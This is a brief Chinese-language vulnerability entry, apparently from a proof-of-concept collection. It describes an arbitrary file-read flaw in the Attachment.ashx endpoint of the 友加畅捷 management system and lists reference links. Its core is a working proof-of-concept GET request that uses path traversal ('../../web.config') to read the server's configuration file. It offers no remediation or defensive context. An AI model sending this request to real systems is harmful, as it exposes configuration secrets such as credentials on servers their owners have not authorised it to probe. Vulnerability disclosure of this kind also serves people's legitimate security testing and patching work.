Description
友加畅捷管理系统 Attachment.ashx 接口存在文件读取漏洞,攻击者可获取系统配置文件信息
友加畅捷管理系统 Attachment.ashx 存在文件读取漏洞
PoC
GET /Controllers/ajax/Attachment.ashx?attachmentUrl=../../web.config HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/youjiasoft-Attachment-file-read.html
https://cn-sec.com/archives/4727577.html
https://www.wlaqsys.com/archives/12830
https://www.gm7.org/archives/19506
https://www.ddpoc.com/DVB-2025-10314.html
https://blog.anhunsec.cn/fx/32.html
https://security.zone.ci/e/tags/index.php?page=1&tagname=ashx&line=25&tempid=11